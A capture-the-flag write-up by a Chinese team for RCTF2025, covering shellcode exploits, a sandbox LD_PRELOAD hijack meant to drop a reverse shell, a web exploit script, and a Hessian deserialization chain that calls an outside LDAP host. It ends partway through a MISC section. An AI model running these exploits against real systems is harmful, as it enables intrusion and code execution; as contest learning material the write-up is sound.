文章总结: 本文是RCTF2025Writeup,涵盖PWN、WEB、MISC、CRYPTO及逆向方向。PWN题利用浮点数与Shellcode注入;WEB题涉及沙箱LD_PRELOAD劫持及Hessian反序列化;MISC包含OSINT检索、音频隐写与C2流量解密;CRYPTO考察格密码有理重构与配对加密攻击;逆向解析反调试下的RC4解密。文章提供了详细思路与利用代码。
综合评分: 93
文章分类: CTF,二进制安全,WEB安全,逆向分析,漏洞POC
RCTF2025-WP
原创
@星盟安全团队
星盟安全
2025年11月28日 16:56
陕西
本次 RCTF2025,我们 XMCVE-Polaris 战队排名第 16 。
| 排名 | 队伍 | 总分 |
| — | — | — |
| 11 | N0wayBack | 6367.56 |
| 12 | JNSEC | 6157.14 |
| 13 | Ph0t1n1a | 5475.99 |
| 14 | W&M | 5064.03 |
| 15 | _0xFFF_ | 5052 |
| 16 | XMCVE-Polaris | 5010.05 |
| 17 | Nepnep | 4589 |
| 18 | 有点调皮 | 4582.09 |
| 19 | V&N | 4556 |
| 20 | だから僕はCTFを辞めた | 4467.45 |
PWN
only
程序主要漏洞在 gift 函数内,但是我们如果想要进入 gift 函数 ,需要使我们输入的浮点数在内存中的 8 字节二进制表示,与 0xD0E0A0D0B0E0E0F 完全相等 。
这里我们可以使用 python 的 struct 模块来反向计算这个 double 值 。
在 gift 函数的选项一内,程序开辟了一个可读可写可执行的内存空间,并且在该内存空间的起始部分注入一些数据,经过调试发现,该数据的主要作用其实是对寄存器进行清空操作 ,清空了除去 RBP 和 RSP 之外的其他寄存器,程序还给我们提供了 10 字节的有限输入空间,但由于输入字节数有限,我们无法对目标 shellcode 进行直接构造,所以我们需要想办法拼凑出 read 函数的系统调用,来实现 shellcode 续写 。
pop 指令的字节开销很小,对常见寄存器的操作只需要一个字节,我们可以利用 pop 指令,将栈上的数据弹出到目标寄存器,刚好栈上也存储着我们可读可写可执行空间的地址,由于程序在空间内起始部分清空了寄存器,所以我们只需要控制好 rsi 、rdx 两个寄存器的值即可 ,成功调用 read 函数之后,因为我们构造的 read 函数的写入位置是在可读可写可执行的空间起始处,所以我们需要计算好输入位置到执行下一条指令的偏移,然后覆盖,注入新的 shellcode 即可 。
Exp
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linefrom pwn import*from struct import*
#p = process('./pwn')p = remote('101.245.98.115',26100)
context(arch='amd64',log_level='debug',os='linux')
p.recvuntil("3.exit\n")p.sendline("2")p.recvuntil("input:\n")
packed_bytes = struct.pack('<Q', 0x0D0E0A0D0B0E0E0F)the_double = struct.unpack('<d', packed_bytes)[0]p.sendline(str(the_double))
p.sendlineafter('Make a choice:',"1")p.recvuntil("your code:")
shellcode = """pop rdxpop rdxpop rdxpop rsipop rsipop rsisyscall"""shellcode = asm(shellcode)p.send(shellcode)
shellcode = asm("""push 0x67616c66mov rdi,rspxor esi,esipush 2pop raxsyscallmov rdi,raxmov rsi,rspmov edx,0x100xor eax,eaxsyscallmov edi,1mov rsi,rsppush 1pop raxsyscall""")payload = b'a'*0x32 + shellcodep.send(payload)
p.interactive()
only_rev
rev版本将用户可以输入的字数从10字节减少到9字节,而且根据调试下来发现,在执行rwx区域代码时,该版本有多了对栈的操作
ounter(lineounter(lineounter(lineounter(lineounter(lineadd rsp,0x12345678add rbp,0x12345678// shellcodesub rsp,0x12345678sub rbp,0x12345678
此时的栈根本没有映射,没有办法执行对栈进行操作的指令push\pop\call
在山海关大神的博客中找到这么一个解决办法https://www.cnblogs.com/LynneHuan/p/17822153.html
当寄存器全0时,只需要执行一次syscall,就会把返回地址rip赋值给rcx寄存器,rcx寄存器就会有rwx地址,然后再mov rsi,rcx;mov dl,0xff;syscall,就会reread
所以九字节的构造如下
ounter(lineounter(lineounter(lineounter(linesyscall //0f 05mov rsi, rcx //48 89 cemov dl, 0xff //b2 ffsyscall //0f 05
展示结果如下
syscall执行之前
syscall执行之后
reread执行这一步需要调试观察最后rsi/rcx的值,首先要保证orw需要位于第二个syscall的下方。
之后就是构造orw的shellcode,这里还要注意之前提到的此时栈结构,所以就先把栈还原回去,然后执行orw(其实后面的汇编是在编写时vscode copilot自动生成的)
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linesub rbp,0x12345678sub rsp,0x12345678push 0x67616c66mov rdi,rspxor rsi,rsimov rax,2syscallmov rdi,raxmov rsi,rspmov rdx,0x50xor rax,raxsyscallmov rdi,1mov rsi,rspmov rdx,0x50mov rax,1syscall
最后是exp
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line#!/usr/bin/env python3# -*- coding: utf-8 -*-# @file: exp.py# @author: fuchen# @contact: MTM3MjIwMzYwQHFxLmNvbQ==# @created: 2025-11-15# @description: Pwn exploit template for CTF challenges
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
LOCAL = TrueBINARY = "./chal"LIBC = "./libc.so.6"
HOST = "1.95.164.64"PORT = 26000
def setup(): if LOCAL: return process(BINARY) else: return remote(HOST, PORT)
s = lambda data :p.send(data)sa = lambda delim,data :p.sendafter(delim, data)sl = lambda data :p.sendline(data)sla = lambda delim,data :p.sendlineafter(delim, data)r = lambda num=4096 :p.recv(num)ru = lambda delims, drop=False :p.recvuntil(delims, drop)rl = lambda :p.recvline()itr = lambda :p.interactive()uu32 = lambda data :u32(data.ljust(4, b'\0'))uu64 = lambda data :u64(data.ljust(8, b'\0'))uu16 = lambda data :u16(data.ljust(2, b'\0'))uu8 = lambda data :u8(data)leak = lambda name,addr :log.success(f"{name} = {hex(addr)}")dbg = lambda cmd='' :gdb.attach(p, cmd)def notes(): sla(b"3.exit\n",b"1")def add(size): sla(b"5.back\n",b"1") sla(b"size:",str(size).encode())def delete(): sla(b"5.back\n",b"2")def save(filename): sla(b"5.back\n",b"3") sl(b"filename: ",filename)def edit(): sla(b"5.back\n",b"4")def back(): sla(b"5.back\n",b"4")def bookkeeping(): sla(b"3.exit\n",b"2") sla(b"input:\n",str(8.592564544313935e-246).encode())def runcode(content): sla(b"Make a choice:",b"1") sa(b"your code:",content)def getcanary(): sla(b"Make a choice:",b"2")def exploit(): global p p = setup()
elf = ELF(BINARY) libc = ELF(LIBC) if LIBC else None #dbg('b *$rebase(0x1a79)') #pause() bookkeeping() payload = b"\x0f\x05\x48\x89\xce\xb2\xff\x0f\x05" runcode(payload) orw = ''' sub rbp,0x12345678 sub rsp,0x12345678 push 0x67616c66 mov rdi,rsp xor rsi,rsi mov rax,2 syscall mov rdi,rax mov rsi,rsp mov rdx,0x50 xor rax,rax syscall mov rdi,1 mov rsi,rsp mov rdx,0x50 mov rax,1 syscall ''' shellcode = b"\x48\x89\xce\xb2\xff\x0f\x05" + asm(orw) sleep(1) sl(shellcode) #pause()
itr()
if __name__ == "__main__":
try: exploit() except Exception as e: log.error(f"Exploit failed: {e}") if 'p' in globals(): p.close() raise
WEB
RootKB
首先本地开个环境,发现在/admin/tool处存在python代码执行,但是在沙箱环境下
调试启动之后成功执行返回2
沙箱环境下的限制是没有/bin/sh,以及一些黑名单,如system,exec,eval等等,且需要提权才可以读取/root/flag
目前可以做到列目录os.listdir("/"),但是可读写只能在沙盒目录下/opt/maxkb-app/sandbox
我们发现这个目录下有一个sandbox.so文件
我们审计源码,尤其是2.3.0->2.3.1变化的部分,新增了一处
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line@@ -188,6 +194,9 @@ exec({dedent(code)!a}) self.user, ], 'cwd': self.sandbox_path,+ 'env': {+ 'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',+ }, 'transport': 'stdio', } else:@@ -204,6 +213,9 @@ exec({dedent(code)!a}) file.write(_code) os.system(f"chown {self.user}:root {exec_python_file}") kwargs = {'cwd': BASE_DIR}+ kwargs['env'] = {+ 'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',+ } subprocess_result = subprocess.run( ['su', '-s', python_directory, '-c', "exec(open('" + exec_python_file + "').read())", self.user], text=True,
可以看到,假使我们可以覆盖sandbox.so,就可以打LD_PRELOAD劫持,且是高权限了
至于反弹shell的.so文件的编译生成,这里就不提了
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linedef payload(): import base64 import os malicious_so_b64="xxxx" malicious_data = base64.b64decode(malicious_so_b64) with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f: f.write(malicious_data) return "sandbox.so replaced successfully"
成功替换之后os.popen("")即可触发反弹shell
cat /root/flag即可
photographer
看到别人上线20分钟秒了就觉得ai能出了,用trae的gpt5-high直接就问出来了
然后就让AI搓一个exp就行了
这道题目的exp如下
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line# path: exploit.pyimport sys, re, uuid, base64, io, requests
def get(url, s): r = s.get(url, allow_redirects=True) r.raise_for_status() return r.text
def post(url, s, data=None, files=None): r = s.post(url, data=data, files=files) r.raise_for_status() return r
def b64png(): return base64.b64decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==')
def extract_csrf_from_register(html): m = re.search(r'name="csrf_token"\s+value="([^"]+)"', html) return m.group(1)
def extract_csrf_from_settings(html): m = re.search(r"const csrfToken = '([^']+)'", html) return m.group(1)
def register(base, s): html = get(base + '/register', s) token = extract_csrf_from_register(html) email = f'{uuid.uuid4().hex[:8]}@example.com' data = { 'username': 'user' + uuid.uuid4().hex[:6], 'email': email, 'password': 'Passw0rd!', 'confirm_password': 'Passw0rd!', 'csrf_token': token } r = post(base + '/api/register', s, data=data) j = r.json() if not j.get('success'): raise RuntimeError('register failed: ' + str(j)) return email
def upload_photo(base, s): png = b64png() f = io.BytesIO(png) files = [('photos[]', ('x.png', f, '-1'))] r = post(base + '/api/photos/upload', s, files=files) j = r.json() if not j.get('success') or not j.get('photos'): raise RuntimeError('upload failed: ' + str(j)) return j['photos'][0]['id']
def set_background(base, s, photo_id): html = get(base + '/settings', s) token = extract_csrf_from_settings(html) data = {'photo_id': photo_id, 'csrf_token': token} r = post(base + '/api/user/background', s, data=data) j = r.json() if not j.get('success'): raise RuntimeError('set background failed: ' + str(j))
def get_flag(base, s): r = s.get(base + '/superadmin.php') if r.status_code == 200: return r.text.strip() raise RuntimeError('flag fetch failed, status: ' + str(r.status_code))
def main(): base = sys.argv[1] if len(sys.argv) > 1 else 'http://1.95.160.41:26000/' s = requests.Session() register(base, s) pid = upload_photo(base, s) set_background(base, s, pid) flag = get_flag(base, s) print(flag)
if __name__ == '__main__': main()
maybe_easy
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package com.rctf.server.controller;
import com.rctf.server.tool.HessianFactory;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;
@Controllerpublic class RCTFController { @RequestMapping({"/hello"}) public String hello(@RequestParam(name = "data",required = false) String data) throws Exception { Object obj = HessianFactory.deserialize(data); return "hello"; }}
一个简单的hessian反序列化
发现调用了自己实现的HessianFactory
发现使用了白名单
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line static { WHITE_PACKAGES.add("com.rctf.server.tool."); WHITE_PACKAGES.add("java.util."); WHITE_PACKAGES.add("org.apache.commons.logging."); WHITE_PACKAGES.add("org.springframework.beans."); WHITE_PACKAGES.add("org.springframework.jndi."); }
发现出题人自定义的一个类
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package com.rctf.server.tool;
import java.io.Serializable;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;
public class Maybe extends Proxy implements Comparable<Object>, Serializable { public Maybe(InvocationHandler h) { super(h); }
public int compareTo(Object o) { try { Method method = Comparable.class.getMethod("compareTo", Object.class); Object result = this.h.invoke(this, method, new Object[]{o}); return (Integer)result; } catch (Throwable e) { throw new RuntimeException(e); } }}
这个类是可以被treemap进行触发compareTo触发其他类的动态代理的
使用n1ght_codeql搭建数据库
编写查询语句
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line/** * @name Empty block * @kind problem * @problem.severity warning * @id java/example/empty-block */
import javaimport libs.Sourceimport libs.DangerousMethods
class InvokerHandler extends Class { InvokerHandler() { this.getASupertype*().getQualifiedName() = "java.lang.reflect.InvocationHandler" and ( this.getQualifiedName().regexpMatch("java.util.+") or this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or this.getQualifiedName().regexpMatch("org.springframework.beans.+") or this.getQualifiedName().regexpMatch("org.springframework.jndi.+") ) }}
class HessianObjectFactory extends Method { HessianObjectFactory() { // this.getASupertype*().getQualifiedName() = "org.springframework.beans.factory.ObjectFactory" this.getName() = "getObject" and this.hasNoParameters() and ( this.getQualifiedName().regexpMatch("java.util.+") or this.getQualifiedName().regexpMatch("org.apache.commons.logging.+") or this.getQualifiedName().regexpMatch("org.springframework.beans.+") or this.getQualifiedName().regexpMatch("org.springframework.jndi.+") ) }}
// from HessianObjectFactory i, DangerousMethod m// where i.calls(m)// select ifrom DangerousMethod mselect m, m.getName()
发现了
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable { private final ObjectFactory<?> objectFactory;
ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) { this.objectFactory = objectFactory; }
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { switch (method.getName()) { case "equals": return proxy == args[0]; case "hashCode": return System.identityHashCode(proxy); case "toString": return this.objectFactory.toString(); default: try { return method.invoke(this.objectFactory.getObject(), args); } catch (InvocationTargetException ex) { throw ex.getTargetException(); } } } }
发现了这个类
调用了实现了这个接口的getObject
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package org.springframework.beans.factory;
import org.springframework.beans.BeansException;
@FunctionalInterfacepublic interface ObjectFactory<T> { T getObject() throws BeansException;}
这个时候使用第二个查询语句就发现了
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package org.springframework.beans.factory.config;
import java.io.Serializable;import org.springframework.beans.BeansException;import org.springframework.beans.factory.BeanFactory;import org.springframework.beans.factory.ObjectFactory;import org.springframework.lang.Nullable;import org.springframework.util.Assert;
public class ObjectFactoryCreatingFactoryBean extends AbstractFactoryBean<ObjectFactory<Object>> { @Nullable private String targetBeanName;
public void setTargetBeanName(String targetBeanName) { this.targetBeanName = targetBeanName; }
public void afterPropertiesSet() throws Exception { Assert.hasText(this.targetBeanName, "Property 'targetBeanName' is required"); super.afterPropertiesSet(); }
public Class<?> getObjectType() { return ObjectFactory.class; }
protected ObjectFactory<Object> createInstance() { BeanFactory beanFactory = this.getBeanFactory(); Assert.state(beanFactory != null, "No BeanFactory available"); Assert.state(this.targetBeanName != null, "No target bean name specified"); return new TargetBeanObjectFactory(beanFactory, this.targetBeanName); }
private static class TargetBeanObjectFactory implements ObjectFactory<Object>, Serializable { private final BeanFactory beanFactory; private final String targetBeanName;
public TargetBeanObjectFactory(BeanFactory beanFactory, String targetBeanName) { this.beanFactory = beanFactory; this.targetBeanName = targetBeanName; }
public Object getObject() throws BeansException { return this.beanFactory.getBean(this.targetBeanName); } }}
这里面调用了实现了BeanFactory接口的getBean
这时候codeql编写语句就发现了
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package org.springframework.jndi.support;
import java.util.Collections;import java.util.HashMap;import java.util.HashSet;import java.util.Map;import java.util.Set;import javax.naming.NameNotFoundException;import javax.naming.NamingException;import org.springframework.beans.BeansException;import org.springframework.beans.factory.BeanDefinitionStoreException;import org.springframework.beans.factory.BeanFactory;import org.springframework.beans.factory.BeanNotOfRequiredTypeException;import org.springframework.beans.factory.NoSuchBeanDefinitionException;import org.springframework.beans.factory.NoUniqueBeanDefinitionException;import org.springframework.beans.factory.ObjectProvider;import org.springframework.core.ResolvableType;import org.springframework.jndi.JndiLocatorSupport;import org.springframework.jndi.TypeMismatchNamingException;import org.springframework.lang.Nullable;
public class SimpleJndiBeanFactory extends JndiLocatorSupport implements BeanFactory { private final Set<String> shareableResources = new HashSet(); private final Map<String, Object> singletonObjects = new HashMap(); private final Map<String, Class<?>> resourceTypes = new HashMap();
public SimpleJndiBeanFactory() { this.setResourceRef(true); }
public void addShareableResource(String shareableResource) { this.shareableResources.add(shareableResource); }
public void setShareableResources(String... shareableResources) { Collections.addAll(this.shareableResources, shareableResources); }
public Object getBean(String name) throws BeansException { return this.getBean(name, Object.class); }
public <T> T getBean(String name, Class<T> requiredType) throws BeansException { try { return (T)(this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType)); } catch (NameNotFoundException var4) { throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment"); } catch (TypeMismatchNamingException ex) { throw new BeanNotOfRequiredTypeException(name, ex.getRequiredType(), ex.getActualType()); } catch (NamingException ex) { throw new BeanDefinitionStoreException("JNDI environment", name, "JNDI lookup failed", ex); } }
public Object getBean(String name, @Nullable Object... args) throws BeansException { if (args != null) { throw new UnsupportedOperationException("SimpleJndiBeanFactory does not support explicit bean creation arguments"); } else { return this.getBean(name); } }
public <T> T getBean(Class<T> requiredType) throws BeansException { return (T)this.getBean(requiredType.getSimpleName(), requiredType); }
public <T> T getBean(Class<T> requiredType, @Nullable Object... args) throws BeansException { if (args != null) { throw new UnsupportedOperationException("SimpleJndiBeanFactory does not support explicit bean creation arguments"); } else { return (T)this.getBean(requiredType); } }
public <T> ObjectProvider<T> getBeanProvider(final Class<T> requiredType) { return new ObjectProvider<T>() { public T getObject() throws BeansException { return (T)SimpleJndiBeanFactory.this.getBean(requiredType); }
public T getObject(Object... args) throws BeansException { return (T)SimpleJndiBeanFactory.this.getBean(requiredType, args); }
@Nullable public T getIfAvailable() throws BeansException { try { return (T)SimpleJndiBeanFactory.this.getBean(requiredType); } catch (NoUniqueBeanDefinitionException ex) { throw ex; } catch (NoSuchBeanDefinitionException var3) { return null; } }
@Nullable public T getIfUnique() throws BeansException { try { return (T)SimpleJndiBeanFactory.this.getBean(requiredType); } catch (NoSuchBeanDefinitionException var2) { return null; } } }; }
public <T> ObjectProvider<T> getBeanProvider(ResolvableType requiredType) { throw new UnsupportedOperationException("SimpleJndiBeanFactory does not support resolution by ResolvableType"); }
public boolean containsBean(String name) { if (!this.singletonObjects.containsKey(name) && !this.resourceTypes.containsKey(name)) { try { this.doGetType(name); return true; } catch (NamingException var3) { return false; } } else { return true; } }
public boolean isSingleton(String name) throws NoSuchBeanDefinitionException { return this.shareableResources.contains(name); }
public boolean isPrototype(String name) throws NoSuchBeanDefinitionException { return !this.shareableResources.contains(name); }
public boolean isTypeMatch(String name, ResolvableType typeToMatch) throws NoSuchBeanDefinitionException { Class<?> type = this.getType(name); return type != null && typeToMatch.isAssignableFrom(type); }
public boolean isTypeMatch(String name, @Nullable Class<?> typeToMatch) throws NoSuchBeanDefinitionException { Class<?> type = this.getType(name); return typeToMatch == null || type != null && typeToMatch.isAssignableFrom(type); }
@Nullable public Class<?> getType(String name) throws NoSuchBeanDefinitionException { return this.getType(name, true); }
@Nullable public Class<?> getType(String name, boolean allowFactoryBeanInit) throws NoSuchBeanDefinitionException { try { return this.doGetType(name); } catch (NameNotFoundException var4) { throw new NoSuchBeanDefinitionException(name, "not found in JNDI environment"); } catch (NamingException var5) { return null; } }
public String[] getAliases(String name) { return new String[0]; }
private <T> T doGetSingleton(String name, @Nullable Class<T> requiredType) throws NamingException { synchronized(this.singletonObjects) { Object singleton = this.singletonObjects.get(name); if (singleton != null) { if (requiredType != null && !requiredType.isInstance(singleton)) { throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, singleton.getClass()); } else { return (T)singleton; } } else { T jndiObject = (T)this.lookup(name, requiredType); this.singletonObjects.put(name, jndiObject); return jndiObject; } } }
private Class<?> doGetType(String name) throws NamingException { if (this.isSingleton(name)) { return this.doGetSingleton(name, (Class)null).getClass(); } else { synchronized(this.resourceTypes) { Class<?> type = (Class)this.resourceTypes.get(name); if (type == null) { type = this.lookup(name, (Class)null).getClass(); this.resourceTypes.put(name, type); }
return type; } } }}
可以触发jndi,后面就是jdk原生反序列化的事情,走pojonode->spring aop->templatesImpl的事情了
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linepackage org.example;
import com.rctf.server.tool.Maybe;import org.springframework.jndi.support.SimpleJndiBeanFactory;import sun.misc.Unsafe;import ysomap.core.util.ReflectionHelper;
import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.security.SignedObject;import java.util.HashMap;import java.util.Map;import java.util.TreeMap;import java.util.TreeSet;
public class Exp { public static void main(String[] args) throws Exception{ Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafe.get(null); Class<?> name = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory"); Object o1 = unsafe.allocateInstance(name); SimpleJndiBeanFactory simpleJndiBeanFactory = new SimpleJndiBeanFactory();
unsafe.getAndSetObject(o1,unsafe.objectFieldOffset(name.getDeclaredField("beanFactory")),simpleJndiBeanFactory); unsafe.getAndSetObject(o1,unsafe.objectFieldOffset(name.getDeclaredField("targetBeanName")),"ldap://112.124.59.213:50389/a1ab9c");
InvocationHandler o = (InvocationHandler) unsafe.allocateInstance(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")); long objectFactory = unsafe.objectFieldOffset(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredField("objectFactory")); unsafe.getAndSetObject(o,objectFactory,o1); Maybe maybe = new Maybe(o); TreeSet treeSet = makeTreeSet(maybe, maybe); String serialize = HessianFactory.serialize(treeSet); System.out.println(serialize);// HessianFactory.deserialize(serialize); } public static TreeSet makeTreeSet(Object v1, Object v2) throws Exception { TreeMap<Object,Object> m = new TreeMap<>(); ReflectionHelper.setFieldValue(m, "size", 2); ReflectionHelper.setFieldValue(m, "modCount", 2); Class<?> nodeC = Class.forName("java.util.TreeMap$Entry"); Constructor nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); ReflectionHelper.setAccessible(nodeCons); Object node = nodeCons.newInstance(v1, new Object[0], null); Object right = nodeCons.newInstance(v2, new Object[0], node); ReflectionHelper.setFieldValue(node, "right", right); ReflectionHelper.setFieldValue(m, "root", node);
TreeSet set = new TreeSet(); ReflectionHelper.setFieldValue(set, "m", m); return set; }
}
Misc
Speak Softly Love
ounter(lineounter(lineounter(lineounter(line1.8ssDGBTssUI2.r1783.https://mateusz.viste.fr/mateusz.ogg4.16TofYbGd86C7S6JuAuhGkX4fbmC9QtzwT
第一问
根据视频试图先找到电脑型号,然后结合关键词music,youtube搜索找到这个。
ounter(line8ssDGBTssUI
第二问
查找DOSmid
ounter(linehttps://www.vogons.org/viewtopic.php?t=44947
先找到关于这个的大致信息
使用的svn
ounter(linesvn co svn://svn.mateusz.fr/dosmid dosmid-svn
然后基于上述关键词去查找
